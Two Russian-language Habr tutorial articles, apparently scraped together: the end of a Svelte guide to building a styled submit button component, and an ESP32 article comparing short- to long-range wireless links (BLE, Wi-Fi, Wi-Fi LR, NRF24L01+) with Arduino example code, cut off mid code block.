```
...
.submit :global(button) { border: 2px solid #1ECD97; color: #1ECD97; }
.submit :global(button:hover) { background-color: #1ECD97; color: #fff; }
```
Один из лейтмотивов **Svelte** — простые вещи должны решаться просто. Специальный модификатор **:global** в этом исполнении сгенерирует CSS таким образом, что только кнопки внутри блока с классом **submit**, находящиеся в данном компоненте получат указанные стили.
Даже если в любом другом месте приложения вдруг возникнет разметка такого же вида:
```
Button
```
стили из компонента **SubmitButton** никаким образом не «протекут» туда.
Используя этот метод, **Svelte** позволяет легче легкого кастомизировать стили вложенных компонентов, сохраняя при этом инкапсуляцию стилей обоих компонентов.
#### Прокидываем пропсы и фиксируем поведение
Что ж, со стилизацией мы разобрались практически мгновенно и без всяких дополнительных пропсов и передачи CSS классов напрямую. Теперь нужно проксировать все пропсы компонента **Button** через новый компонент. При этом не хотелось бы описывать их заново. Однако для начала, давайте решим какие собственные свойства будет иметь новый компонент.
Судя по задаче, **SubmitButton** должен отслеживать состояние, а также давать возможность указать временную задержку между автоматической сменой успешного/ошибочного состояния в начальное:
```
...
export default {
...
data() {
return {
delay: 1500,
status: 'idle' // loading, success, error
};
}
};
```
Итак, наша новая кнопка будет иметь 4 состояния: покоя, загрузки, успеха или ошибки. Кроме того, по-умолчанию 2 последних состояния будут автоматически сменяться на состояние покоя через 1,5 секунды.
Для того, чтобы прокинуть все переданные пропсы в компонент **Button**, но при этом отсечь заведомо невалидные для него *status* и *delay* мы напишем специальное вычисляемое свойство. А после просто используем *spread*-оператор, чтобы «размазать» оставшиеся пропсы по вложенному компоненту. Кроме того, так как мы делаем именно кнопку отправки, нам необходимо зафиксировать тип кнопки, чтобы его нельзя было сменить снаружи:
```
...
export default {
...
computed: {
attrs: data => {
const { delay, status, ...attrs } = data;
return attrs;
}
},
};
```
Довольно просто и элегантно.
В итоге мы получили полностью рабочую, версию базовой кнопки с видоизмененными стилями. Пора заняться реализацией нового поведения кнопки.
#### Меняем и отслеживаем состояние
Итак, при нажатии на кнопку **SubmitButton** мы должны не только выкинуть ивент наружу, чтобы пользовательский код мог его обработать (как это сделано в **Button**), но и осуществить дополнительную бизнес-логику — выставить состояние загрузки. Для этого просто перехватим ивент из базовой кнопки в собственный обработчик, сделаем то что нужно и отправим его дальше:
```
...
export default {
...
methods: {
click(e) {
this.set({ status: 'loading' });
this.fire('click', e);
}
},
};
```
Далее, родительский компонент данной кнопки, который управляет самим процессом отправки данных, может выставить соответствующий статус отправки (*success/error*) через пропсы. При этом, кнопка должна отслеживать подобное изменение статуса, и через заданное время автоматически изменить состояние на *idle*. Для этого воспользуемся *life-cycle* хуком **onupdate**:
```
...
export default {
...
onupdate({ current: { status, delay }, changed }) {
if (changed.status && ['success', 'error'].includes(status)) {
setTimeout(() => this.set({ status: 'idle' }), delay);
}
},
};
```
#### Последние штрихи
Остались еще 2 момента, которые не очевидны из задачи и возникают во время реализации. Во-первых, чтобы анимация метаморфозов кнопки была плавной, придется стилями изменять саму кнопку, а не какой-то другой элемент. Для этого мы можем использовать все тот же **:global**, поэтому тут проблем нет. Но кроме того нужно, чтобы разметка внутри кнопки скрывалась во всех статусах, кроме *idle*.
Стоит отдельно упомянуть, что разметка внутри кнопки может быть любой и прокидывается она в изначальный компонент базовой кнопки через вложенные слоты. Однако, хотя звучит угрожающе, решение более чем примитивное — нужно лишь обернуть слот, внутри нового компонента в дополнительный элемент и применить к нему необходимые стили:
```
...
...
.submit span { transition: opacity 0.3s 0.1s; }
.submit.loading span, .submit.success span, .submit.error span { opacity: 0; }
...
```
Кроме того, раз кнопка не скрывается со страницы, а морфирует вместе со статусами, хорошо бы отключать ее на время отправки. Иными словами, если кнопке отправки было выставлено свойство *disabled* через пропсы, либо если status не *idle*, необходимо отключать кнопку. Для решения этой задачи напишем еще одно небольшое вычисляемое свойство *isDisabled* и применим его к вложенному компоненту:
```
...
export default {
...
computed: {
...
isDisabled: ({ status, disabled }) => disabled || status !== 'idle'
},
};
```
Все бы хорошо, но в базовой кнопке прописан стиль, который делает ее полупрозрачной в disabled-состоянии, а нам это не нужно, если кнопка лишь на время отключена из-за смены статусов. На помощь приходит все тот же **:global**:
```
.submit.loading :global(button[disabled]),
.submit.success :global(button[disabled]),
.submit.error :global(button[disabled]) { opacity: 1; }
```
Вот и все! Новая кнопка прекрасна и готова к работе!
Я умышленно опущу детали реализации анимаций и всего этого. Не только потому что это не имеет прямого отношения к теме статьи, но и потому что в этой части демо получилось не таким, как хотелось бы. Я не стал усложнять себе задачу и реализовывать полностью готовое решение для подобной кнопки и довольно тупо портировал пример, найденный на просторах интернета.
Поэтому не советую использовать данную реализация в работе. Помните, это лишь демо пример для данной статьи.
→ [Интерактивная демка и полный код примера](https://svelte.technology/repl?version=2.16.0&gist=e0e53b27e515b89ce5903169fad5d8e3)
Если вам понравилась статья и захотелось больше узнать про **Svelte**, [читайте](https://habr.com/ru/post/420113/) и другие [статьи](https://habr.com/ru/post/417747/). Например, [«Как сделать поиск пользователей по GitHub без React + RxJS 6 + Recompose»](https://habr.com/ru/post/419653/). Слушайте предновогодний подкаст [RadioJS#54](https://radiojs.ru/2018/12/radiojs-54/), где я довольно подробно рассказывал по то, что такое **Svelte**, как он «исчезает» и почему это не «yet another js framework».
Заглядывайте в русскоязычный телеграм канал [SvelteJS](https://t.me/sveltejs). Нас уже больше двух сотен и мы будем рады вам!
**P/S**
Внезапно UI гайдлайны поменялись. Теперь надписи во всех кнопках приложения должны быть в верхнем регистре. Однако нам такой поворот событий не страшен. Добавим **text-transform: uppercase;** в стили базовой кнопки и продолжим пить кофе.
Хорошего рабочего дня и вам! | https://habr.com/ru/post/438834/ | null | ru | null |
# Удалённый мониторинг датчиков: разные типы связи в зависимости от расстояния
*Картинка [Wallpapersafari](https://img.wallpapersafari.com/desktop/1920/1080/53/80/8UC7qH.jpg)*
С каждым днём количество подключённых к интернету устройств только увеличивается, благодаря чему даже появился термин «интернет вещей». Однако, для того чтобы все эти разрозненные системы могли пересылать телеметрию различного рода или быть дистанционно управляемыми, требуется некий объединяющий элемент, в роли которого выступает связь. Именно об этом мы и поговорим в этой статье.
Я не случайно решил сконцентрироваться на этом элементе, так как любому интересующемуся этой темой понятно, что технических воплощений конечного устройства IoT может быть очень много: мониторинг технического состояния систем с помощью датчиков; обновление прошивки «по воздуху»; сигнализация разного рода; сбор информации о погодных условиях; реализация разнообразных способов удалённого управления устройствами и т.д. и т.п.
Однако мало сгенерировать идею о каком-то компоненте или даже системе, теперь это всё каким-то образом должно быть доступно из удалённой сети! Я сейчас не буду говорить о каких-то сложных промышленных вещах и стандартах, поэтому мы постараемся рассмотреть несколько вариантов, которые доступны практически каждому.
Условно говоря, тип используемой связи и её дальность напрямую зависят от стратегии использования:
* Будем ли мы передавать большие объёмы данных.
* Насколько далеко нам необходимо будет их передавать.
* Требуется ли в процессе повышенная энергоэффективность.
В качестве мозга всей системы я предлагаю использовать широко известный микроконтроллер ESP32. Почему именно его: так как по цене, сходной со стоимостью той же Arduino Nano, мы получаем целую кучу «плюшек», и на данный момент мне видится нерациональной покупка каких-либо ардуин по причине их морального устаревания для многих задач (ну, если только вы не являетесь ревностным фанатом именно этой платформы).
Конечно, для многих задач подобный микроконтроллер может быть слегка избыточным, как с точки зрения размеров (не слишком маленьких), так и с точки зрения энергоэффективности. Однако пока остановимся на нём.
Кстати говоря, здесь было бы очень интересно услышать от знающих, какие максимально компактные и недорогие чипы существуют. Желательно со встроенными возможностями беспроводного сбора информации с этого чипа, мониторингом температуры и показателей давления. Полагаю, что подобная информация была бы крайне полезной для множества читателей, в целях встраивания подобных чипов в будущие устройства IoT.
«Нулевой» радиус
----------------
Итак… Говоря о самом ближайшем радиусе, условно говоря «нулевом уровне», можно сказать, что сама ESP32 уже является датчиком! А именно: в плату уже встроен датчик температуры, который может измерять температуру самого чипа. Использовать его для каких-то других полезных применений вряд ли получится, однако он вполне сгодится, чтобы удалённо мониторить температуру чипа (если мы его загружаем какой-то тяжёлой работой, например, задачами из сферы machine learning). Для задействования этого датчика можно воспользоваться кодом [вот отсюда](http://developer.alexanderklimov.ru/arduino/esp32/basic-samples.php#temperature_sensor):
**Код замера температуры чипа**
```
#ifdef __cplusplus
extern "C" {
#endif
uint8_t temprature_sens_read();
#ifdef __cplusplus
}
#endif
uint8_t temprature_sens_read();
void setup() {
Serial.begin(115200);
}
void loop() {
Serial.print("Temperature: ");
// Convert raw temperature in F to Celsius degrees
Serial.print((temprature_sens_read() - 32) / 1.8);
Serial.println(" C");
delay(1000);
}
```
Кроме того, микроконтроллер содержит также и датчик Холла, который может применяться для замеров изменения магнитного поля.
*Картинка [Diytech](https://diytech.ru/projects/vstroennyy-datchik-kholla-v-esp32)*
Датчик является аналоговым. То есть он может измерять расстояние от магнита до микроконтроллера:
*Картинка [Diytech](https://diytech.ru/projects/vstroennyy-datchik-kholla-v-esp32)*
*Картинка [Diytech](https://diytech.ru/projects/vstroennyy-datchik-kholla-v-esp32)*
Для производства подобных замеров мы можем воспользоваться [вот этим](http://developer.alexanderklimov.ru/arduino/esp32/basic-samples.php#temperature_sensor:~:text=C%22)%3B%0A%20%20delay(1000)%3B%0A%7D-,%D0%94%D0%B0%D1%82%D1%87%D0%B8%D0%BA%20%D0%A5%D0%BE%D0%BB%D0%BB%D0%B0%20%D0%B4%D0%BB%D1%8F%20%D0%BE%D0%B1%D0%BD%D0%B0%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F%20%D0%BC%D0%B0%D0%B3%D0%BD%D0%B8%D1%82%D0%B0,-%D0%A3%20%D0%BF%D0%BB%D0%B0%D1%82%D1%8B%20%D0%B5%D1%81%D1%82%D1%8C) кодом:
**Код датчика Холла**
```
const int LED = 2;
void setup() {
Serial.begin(115200);
pinMode(LED, OUTPUT);
}
void loop() {
int sensor = hallRead(); // считываем показания датчика Холла
Serial.print("Sensor Reading:");
Serial.println(sensor);
digitalWrite(LED, (sensor < 0) ? HIGH : LOW); // включаем светодиод при обнаружении магнита
delay(500);
}
```
Разумеется, возможно и подключение внешних датчиков, однако в рамках этой статьи это выходит за пределы темы, поэтому мы просто отметим такую возможность.
Ближний радиус
--------------
А теперь рассмотрим возможности мониторинга на ближайшем удалении от микроконтроллера. Под ближайшим удалением мы подразумеваем радиус в пределах до 30 метров, и здесь, конечно, уже просится использование BLE или Bluetooth с низким энергопотреблением.
Устройство стандарта Bluetooth с низким энергопотреблением обычно находится в спящем состоянии, именно поэтому ему требуется довольно мало энергии. Кстати говоря, именно поэтому на базе этого стандарта строятся разнообразные системы мониторинга, например, фитнес-трекеры, системы навигации и т.д.
То есть сам стандарт позволяет создавать системы из устройств, работающих в течение продолжительного времени даже от небольших батарей. И даже сам протокол оптимизирован именно под эти задачи.
Говоря о скоростях передачи, можно сказать, что этот протокол больше оптимизирован для задач малой энергоёмкости, чем для высокой пропускной способности.
Однако, несмотря на это, даже ранние протоколы, вплоть до Bluetooth 4.2, допускают передачу на скоростях до 1 мбит/сек.; говоря же о последнем Bluetooth 5 и более поздних, можно отметить, что там скорость передачи зависит больше от настроек физического уровня и может достигать 2 мбит/сек.
[В одной из предыдущих статей](https://habr.com/ru/company/first/blog/596741/) мы уже разбирали стандарт BLE и сейчас можем воспользоваться кодом оттуда для клиента и сервера BLE-подключения. Логика работы кода в двух словах: клиент, подключаясь к серверу, обновляет характеристику сервиса BLE на нём.
**Код BLE-сервера**
```
/*
Based on Neil Kolban example for IDF: https://github.com/nkolban/esp32-snippets/blob/master/cpp_utils/tests/BLE%20Tests/SampleServer.cpp
Ported to Arduino ESP32 by Evandro Copercini
updates by chegewara
*/
#include
#include
#include
// Генератор UUID:
// https://www.uuidgenerator.net/
#define SERVICE\_UUID "4fafc201-1fb5-459e-8fcc-c5c9c331914b"
#define CHARACTERISTIC\_UUID "beb5483e-36e1-4688-b7f5-ea07361b26a8"
void setup() {
Serial.begin(115200);
Serial.println("Начало работы BLE!");
BLEDevice::init("Eto moye imya");
BLEServer \*pServer = BLEDevice::createServer();
BLEService \*pService = pServer->createService(SERVICE\_UUID);
BLECharacteristic \*pCharacteristic = pService->createCharacteristic(
CHARACTERISTIC\_UUID,
BLECharacteristic::PROPERTY\_READ |
BLECharacteristic::PROPERTY\_WRITE
);
pCharacteristic->setValue("Всем привет!");
pService->start();
// BLEAdvertising \*pAdvertising = pServer->getAdvertising(); // this still is working for backward compatibility
BLEAdvertising \*pAdvertising = BLEDevice::getAdvertising();
pAdvertising->addServiceUUID(SERVICE\_UUID);
pAdvertising->setScanResponse(true);
pAdvertising->setMinPreferred(0x06); // functions that help with iPhone connections issue
pAdvertising->setMinPreferred(0x12);
BLEDevice::startAdvertising();
Serial.println("Характеристика установлена! Теперь вы можете прочитать её на телефоне!");
}
void loop() {
delay(2000);
}
```
**Код BLE-клиента**
```
/**
* A BLE client example that is rich in capabilities.
* There is a lot new capabilities implemented.
* author unknown
* updated by chegewara
*/
#include "BLEDevice.h"
//#include "BLEScan.h"
// The remote service we wish to connect to.
static BLEUUID serviceUUID("4fafc201-1fb5-459e-8fcc-c5c9c331914b");
// The characteristic of the remote service we are interested in.
static BLEUUID charUUID("beb5483e-36e1-4688-b7f5-ea07361b26a8");
static boolean doConnect = false;
static boolean connected = false;
static boolean doScan = false;
static BLERemoteCharacteristic* pRemoteCharacteristic;
static BLEAdvertisedDevice* myDevice;
static void notifyCallback(
BLERemoteCharacteristic* pBLERemoteCharacteristic,
uint8_t* pData,
size_t length,
bool isNotify) {
Serial.print("Notify callback for characteristic ");
Serial.print(pBLERemoteCharacteristic->getUUID().toString().c_str());
Serial.print(" of data length ");
Serial.println(length);
Serial.print("data: ");
Serial.println((char*)pData);
}
class MyClientCallback : public BLEClientCallbacks {
void onConnect(BLEClient* pclient) {
}
void onDisconnect(BLEClient* pclient) {
connected = false;
Serial.println("onDisconnect");
}
};
bool connectToServer() {
Serial.print("Forming a connection to ");
Serial.println(myDevice->getAddress().toString().c_str());
BLEClient* pClient = BLEDevice::createClient();
Serial.println(" - Created client");
pClient->setClientCallbacks(new MyClientCallback());
// Connect to the remove BLE Server.
pClient->connect(myDevice); // if you pass BLEAdvertisedDevice instead of address, it will be recognized type of peer device address (public or private)
Serial.println(" - Connected to server");
pClient->setMTU(517); //set client to request maximum MTU from server (default is 23 otherwise)
// Obtain a reference to the service we are after in the remote BLE server.
BLERemoteService* pRemoteService = pClient->getService(serviceUUID);
if (pRemoteService == nullptr) {
Serial.print("Failed to find our service UUID: ");
Serial.println(serviceUUID.toString().c_str());
pClient->disconnect();
return false;
}
Serial.println(" - Found our service");
// Obtain a reference to the characteristic in the service of the remote BLE server.
pRemoteCharacteristic = pRemoteService->getCharacteristic(charUUID);
if (pRemoteCharacteristic == nullptr) {
Serial.print("Failed to find our characteristic UUID: ");
Serial.println(charUUID.toString().c_str());
pClient->disconnect();
return false;
}
Serial.println(" - Found our characteristic");
// Read the value of the characteristic.
if(pRemoteCharacteristic->canRead()) {
std::string value = pRemoteCharacteristic->readValue();
Serial.print("The characteristic value was: ");
Serial.println(value.c_str());
}
if(pRemoteCharacteristic->canNotify())
pRemoteCharacteristic->registerForNotify(notifyCallback);
connected = true;
return true;
}
/**
* Scan for BLE servers and find the first one that advertises the service we are looking for.
*/
class MyAdvertisedDeviceCallbacks: public BLEAdvertisedDeviceCallbacks {
/**
* Called for each advertising BLE server.
*/
void onResult(BLEAdvertisedDevice advertisedDevice) {
Serial.print("BLE Advertised Device found: ");
Serial.println(advertisedDevice.toString().c_str());
// We have found a device, let us now see if it contains the service we are looking for.
if (advertisedDevice.haveServiceUUID() && advertisedDevice.isAdvertisingService(serviceUUID)) {
BLEDevice::getScan()->stop();
myDevice = new BLEAdvertisedDevice(advertisedDevice);
doConnect = true;
doScan = true;
} // Found our server
} // onResult
}; // MyAdvertisedDeviceCallbacks
void setup() {
Serial.begin(115200);
Serial.println("Starting Arduino BLE Client application...");
BLEDevice::init("");
// Retrieve a Scanner and set the callback we want to use to be informed when we
// have detected a new device. Specify that we want active scanning and start the
// scan to run for 5 seconds.
BLEScan* pBLEScan = BLEDevice::getScan();
pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks());
pBLEScan->setInterval(1349);
pBLEScan->setWindow(449);
pBLEScan->setActiveScan(true);
pBLEScan->start(5, false);
} // End of setup.
// This is the Arduino main loop function.
void loop() {
// If the flag "doConnect" is true then we have scanned for and found the desired
// BLE Server with which we wish to connect. Now we connect to it. Once we are
// connected we set the connected flag to be true.
if (doConnect == true) {
if (connectToServer()) {
Serial.println("We are now connected to the BLE Server.");
} else {
Serial.println("We have failed to connect to the server; there is nothin more we will do.");
}
doConnect = false;
}
// If we are connected to a peer BLE Server, update the characteristic each time we are reached
// with the current time since boot.
if (connected) {
String newValue = "Time since boot: " + String(millis()/1000);
Serial.println("Setting new characteristic value to \"" + newValue + "\"");
// Set the characteristic's value to be the array of bytes that is actually a string.
pRemoteCharacteristic->writeValue(newValue.c_str(), newValue.length());
}else if(doScan){
BLEDevice::getScan()->start(0); // this is just example to start scan after disconnect, most likely there is better way to do it in arduino
}
delay(1000); // Delay a second between loops.
} // End of loop
```
Средний радиус
--------------
Если же рассмотреть возможность управления мониторингом на значительном удалении, но всё ещё не слишком далёком (в пределах 100 м.), то здесь мы можем использовать следующие возможности: Wi-Fi связь и радиомодули NRF24L01+.
### WiFi-подключение
На подобном расстоянии вполне применимо стандартное Wi-Fi соединение, которое позволяет сочетать в себе как хорошую дальность, так и высокую скорость передачи данных. Конечно, есть и свои минусы. Например, Wi-Fi не относится к энергоэффективным способам.
Если говорить о возможной дальности, то стандартная дальность измеряется десятками метров. При этом скорость передачи данных может достигать 150 Мбит/сек, если мы говорим о ESP32. Наибольшая известная мне дальность, достигнутая одним из любителей, составляет порядка 80 метров.
Здесь я сразу хочу оговориться, что не имею в виду некие экстремальные варианты соединения, где используются разнообразные выносные и специальные направленные антенны, благодаря чему дальность резко подпрыгивает вплоть до [десятков километров](http://digitrode.ru/computing-devices/mcu_cpu/730-esp32-dalnost-deystviya-do-10-km.html).
Стандартный способ соединения в таком случае выглядит как подключение клиента Wi-Fi к точке доступа, причём и на точке доступа, и на клиенте запущены post-серверы, прослушивающие входящие запросы. Таким образом, и клиент, и сервер могут обмениваться информацией друг с другом — перекрёстно. Понятно, что это не единственный возможный вариант, но один из вероятных. Его мы также [рассматривали ранее](https://habr.com/ru/company/first/blog/596741/#:~:text=%D0%9F%D0%BE%D0%B3%D0%BE%D0%B2%D0%BE%D1%80%D0%B8%D0%BC%20%D1%82%D0%B5%D0%BF%D0%B5%D1%80%D1%8C%20%D0%B8%20%D0%BE%20%D1%81%D0%B2%D1%8F%D0%B7%D0%B8%20%D1%81%20%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%D0%BC%20Wi%2DFi).
Код WiFi-сервера и клиента можно [скачать здесь](https://drive.google.com/file/d/1SyFPt3YMeg74OjXxzi-ks5k-bFgiDaxU/view?usp=sharing). Там также понадобится библиотека [ESPAsyncWebServer](https://github.com/me-no-dev/ESPAsyncWebServer/archive/master.zip).
### Подключение с помощью модулей NRF24L01+
Подобные модули широко известны любителям и также некоторыми из них «широко прокляты». Мне известно множество случаев, даже на популярных форумах, когда их мастодонты начинали распродавать свои запасы модулей, купленных впрок в большом количестве, так как не смогли их запустить (справедливости ради — всё вышесказанное в меньшей степени относятся к модулям со встроенной антенной и больше относится к версии с внешней выносной антенной). Подобные импульсивные решения я считаю поспешными, так как модули достаточно интересные, и как их «правильно готовить, чтобы не было несварения», я опишу чуть ниже, в секции про модули с усилителем и выносной антенной.
Сам модуль выглядит приблизительно так:
*Картинка [Howtomechatronics](https://howtomechatronics.com/tutorials/arduino/arduino-wireless-communication-nrf24l01-tutorial/)*
Скорость передачи достигает 2 мбит/сек. Передача данных осуществляется на определённой частоте, которая носит название канала. Ширина полосы канала составляет порядка 1 МГц, что даёт возможность передавать на 125 возможных каналах.
Для работы с Arduino или ESP32 используется известная [библиотека RF24](https://github.com/nRF24/RF24).
Один из примеров кода приёмника и передатчика приведён [здесь](https://howtomechatronics.com/tutorials/arduino/arduino-wireless-communication-nrf24l01-tutorial/) и выглядит следующим образом:
**Код передатчика**
```
/*
* Arduino Wireless Communication Tutorial
* Example 1 - Transmitter Code
*
* by Dejan Nedelkovski, www.HowToMechatronics.com
*
* Library: TMRh20/RF24, https://github.com/tmrh20/RF24/
*/
#include
#include
#include
RF24 radio(7, 8); // CE, CSN
const byte address[6] = "00001";
void setup() {
radio.begin();
radio.openWritingPipe(address);
radio.setPALevel(RF24\_PA\_MIN);
radio.stopListening();
}
void loop() {
const char text[] = "Hello World";
radio.write(&text, sizeof(text));
delay(1000);
}
```
**Код приёмника**
```
/*
* Arduino Wireless Communication Tutorial
* Example 1 - Receiver Code
*
* by Dejan Nedelkovski, www.HowToMechatronics.com
*
* Library: TMRh20/RF24, https://github.com/tmrh20/RF24/
*/
#include
#include
#include
RF24 radio(7, 8); // CE, CSN
const byte address[6] = "00001";
void setup() {
Serial.begin(9600);
radio.begin();
radio.openReadingPipe(0, address);
radio.setPALevel(RF24\_PA\_MIN);
radio.startListening();
}
void loop() {
if (radio.available()) {
char text[32] = "";
radio.read(&text, sizeof(text));
Serial.println(text);
}
}
```
Дальний радиус
--------------
### WiFi LR
И вот мы наконец-то вступаем в одну из самых интересных зон — способы дальней передачи данных. И самым первым, на мой взгляд, нужно упомянуть весьма интересное решение, случайно найденное мной в интернете.
Если кратко: один из поклонников микроконтроллера ESP32 старался добиться стабильности Wi-Fi на каких-либо дальних расстояниях. Это ему никак не удавалось. Тогда он провёл [весьма интересный эксперимент](https://blog.honzamrazek.cz/2017/08/testing-the-wifi-range-of-esp32/): переключил передатчик микроконтроллера на стандарт Wi-Fi LR (Long Range). То есть, другими словами, Wi-Fi дальнего радиуса. После чего связь у него стала весьма стабильной, несмотря на то, что точка доступа и клиент были разделены сложной средой. Стабильной связь оставалась вплоть до дистанции в 200м (и это несмотря на то, что [по спецификации](https://wiki5.ru/wiki/Long-range_Wi-Fi#:~:text=%D0%A2%D0%B8%D0%BF%D0%B8%D1%87%D0%BD%D1%8B%D0%B9%20%D0%B1%D0%B5%D1%81%D0%BF%D1%80%D0%BE%D0%B2%D0%BE%D0%B4%D0%BD%D0%BE%D0%B9%20%D0%BC%D0%B0%D1%80%D1%88%D1%80%D1%83%D1%82%D0%B8%D0%B7%D0%B0%D1%82%D0%BE%D1%80%20%D0%B2%20%D0%BF%D0%BE%D0%BC%D0%B5%D1%89%D0%B5%D0%BD%D0%B8%D0%B8%20%D1%82%D0%BE%D1%87%D0%BA%D0%B0%2D%D0%BC%D0%BD%D0%BE%D0%B3%D0%BE%20%D1%82%D0%BE%D1%87%D0%B5%D0%BA%20%D1%81%20%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%D0%BC%20802.11n%20%D0%B8%20%D1%81%D1%82%D0%B0%D0%BD%D0%B4%D0%B0%D1%80%D1%82%D0%BD%D0%BE%D0%B9%20%D0%B0%D0%BD%D1%82%D0%B5%D0%BD%D0%BD%D1%8B%20%D0%BC%D0%BE%D0%B6%D0%B5%D1%82%20%D0%B8%D0%BC%D0%B5%D1%82%D1%8C%20%D1%80%D0%B0%D0%B4%D0%B8%D1%83%D1%81%20%D0%B4%D0%B5%D0%B9%D1%81%D1%82%D0%B2%D0%B8%D1%8F%2050%20%D0%BC%D0%B5%D1%82%D1%80%D0%BE%D0%B2) стандарт предназначен для работы на расстояниях до 50 метров). По его прикидкам стабильная связь возможна вплоть до 240 метров. К сожалению, мне не удалось найти конкретные значения пропускной способности при таких расстояниях. Однако, им же самим было упомянуто, что стабильная связь на таких расстояниях достигается за счёт некоторого понижения пропускной способности.
Свой тестовый код он [выложил здесь](https://blog.honzamrazek.cz/2017/08/testing-the-wifi-range-of-esp32/), который я и привожу:
**Код master-устройства**
```
#include
#include
#include
#include
#include "peripherals.h"
#include "credentials.h"
Led redLed( GPIO\_NUM\_19 );
Led greenLed( GPIO\_NUM\_21 );
WiFiUDP udp;
const char \*toStr( wl\_status\_t status ) {
switch( status ) {
case WL\_NO\_SHIELD: return "No shield";
case WL\_IDLE\_STATUS: return "Idle status";
case WL\_NO\_SSID\_AVAIL: return "No SSID avail";
case WL\_SCAN\_COMPLETED: return "Scan compleded";
case WL\_CONNECTED: return "Connected";
case WL\_CONNECT\_FAILED: return "Failed";
case WL\_CONNECTION\_LOST: return "Connection lost";
case WL\_DISCONNECTED: return "Disconnected";
}
return "Unknown";
}
void setupAp() {
greenLed.set();
WiFi.begin();
delay( 500 ); // If not used, somethimes following command fails
ESP\_ERROR\_CHECK( esp\_wifi\_set\_protocol( WIFI\_IF\_AP, WIFI\_PROTOCOL\_LR ) );
WiFi.mode( WIFI\_AP );
Serial.println( WiFi.softAP( ssid, password ) );
Serial.println( WiFi.softAPIP() );
delay( 1000 );
greenLed.reset();
}
void setup() {
Serial.begin( 115200 );
Serial.println( "Master" );
setupAp();
udp.begin( 8888 );
}
void loop() {
udp.beginPacket( { 192, 168, 4, 255 }, 8888 );
udp.write( 'b' );
redLed.invert();
if ( !udp.endPacket() )
ESP.restart(); // When the connection is bad, the TCP stack refuses to work
delay( 100 );
}
```
**Код slave-устройства**
```
#include
#include
#include
#include
#include "peripherals.h"
#include "credentials.h"
Led redLed( GPIO\_NUM\_19 );
Led greenLed( GPIO\_NUM\_21 );
WiFiUDP udp;
const char \*toStr( wl\_status\_t status ) {
switch( status ) {
case WL\_NO\_SHIELD: return "No shield";
case WL\_IDLE\_STATUS: return "Idle status";
case WL\_NO\_SSID\_AVAIL: return "No SSID avail";
case WL\_SCAN\_COMPLETED: return "Scan compleded";
case WL\_CONNECTED: return "Connected";
case WL\_CONNECT\_FAILED: return "Failed";
case WL\_CONNECTION\_LOST: return "Connection lost";
case WL\_DISCONNECTED: return "Disconnected";
}
return "Unknown";
}
void setup() {
Serial.begin( 115200 );
Serial.println( "Slave" );
WiFi.begin();
delay( 500 );
ESP\_ERROR\_CHECK( esp\_wifi\_set\_protocol( WIFI\_IF\_STA, WIFI\_PROTOCOL\_LR ) );
WiFi.mode( WIFI\_STA );
udp.begin( 8888 );
}
void loop() {
if ( WiFi.status() != WL\_CONNECTED ) {
Serial.println( "|" );
int tries = 0;
WiFi.begin( ssid, password );
while( WiFi.status() != WL\_CONNECTED ) {
tries++;
if ( tries == 5 )
return;
Serial.println( toStr( WiFi.status() ) );
greenLed.set();
delay( 10 );
greenLed.reset();
delay( 500 );
}
Serial.print( "Connected " );
Serial.println( WiFi.localIP() );
}
int size = udp.parsePacket();
if ( size == 0 )
return;
char c = udp.read();
if ( c == 'b' )
greenLed.invert();
udp.flush();
}
```
Кстати говоря, вы вполне можете самостоятельно провести тест пропускной способности, «допилив» код выше и выведя показатели скорости передачи данных.
### NRF24L01+PA+LNA
Этот тип радиомодулей фактически идентичен рассмотренному выше радиомодулю со встроенной антенной и отличается от него только тем, что у него в составе имеется усилитель мощности малошумящего типа.
Подобный апгрейд позволяет этому устройству обеспечивать высокоскоростную связь на расстоянии вплоть до 1000 метров. Конечно, при таком расстоянии скорость передачи уже падает и достигает на максимальном удалении порядка 250 кбит/с. Соответственно, чем ближе находятся два общающихся друг с другом модуля, тем выше скорость. Максимально она равна возможностям модуля (2 мбит/сек).
Почему он получил такое распространение и известность у любителей? Потому что модуль является одним из самых недорогих и высокоскоростных на рынке для дальней радиосвязи.
Но все, кто начинает работу с этим устройством, сталкиваются с одной его особенностью, которую не все могут преодолеть в силу недостатка опыта или терпения. Проблема заключается в том, что этот модуль потребляет достаточно много энергии, особенно в момент начальной инициализации.
Это приводит к нестабильной работе устройства или даже к невозможности его работы, особенно если устройство получает энергию от микроконтроллера напрямую.
Как же бороться с этой бедой? Можно не беспокоиться, всё уже решено до вас, вам всего лишь нужно:
* Воспользоваться стандартным стабилизатором напряжения, который может преобразовать входящие 5 вольт в 3,3 вольт, требующиеся для питания радиомодуля.
* Для сглаживания пульсаций питания припаять конденсатор ёмкостью от 10 до 100 мкФ на пины питания модуля. В моём случае помогло припаивание конденсатора на 100 мкФ / 63 вольта.
* Также рекомендуется обмотать модуль фольгой, чтобы экранировать его от возможных радиопомех, так как он достаточно чувствителен к этому. В моём случае я поступил так: обмотал его малярным скотчем и поверх него в несколько оборотов навернул кулинарную фольгу (естественно, стараясь расположить её так, чтобы случайно не замкнуть нигде контакты).
И только после этого он у меня успешно завёлся. Причём моментально!
Нужно ещё отметить такой момент, что я его достаточно долго и безуспешно пытался запустить от Arduino Ethernet и Arduino Mega 2560, а от ESP32 модуль завёлся просто моментально и без всяких бубнов! Вот такая вот загадка…
Для соединения модуля и ESP32 через интерфейс SPI я использовал следующую схему:
*Картинка [Zen.yandex](https://zen.yandex.ru/media/esp32/gde-nahodiatsia-kontakty-spi-i-i2c-na-esp32-pri-rabote-iz-sredy-arduino-ide-5f5671699080502492bf9852)*
*Картинка [Zen.yandex](https://zen.yandex.ru/media/esp32/gde-nahodiatsia-kontakty-spi-i-i2c-na-esp32-pri-rabote-iz-sredy-arduino-ide-5f5671699080502492bf9852)*
Код приёмника и передатчика, который у меня заработал, я выкладываю ниже:
**Код приёмника**
```
/*
* Arduino Wireless Communication Tutorial
* Example 1 - Receiver Code
*
* by Dejan Nedelkovski, www.HowToMechatronics.com
*
* Library: TMRh20/RF24, https://github.com/tmrh20/RF24/
*/
#include // Подключаем библиотеку для работы с SPI-интерфейсом
#include // Подключаем файл конфигурации из библиотеки RF24
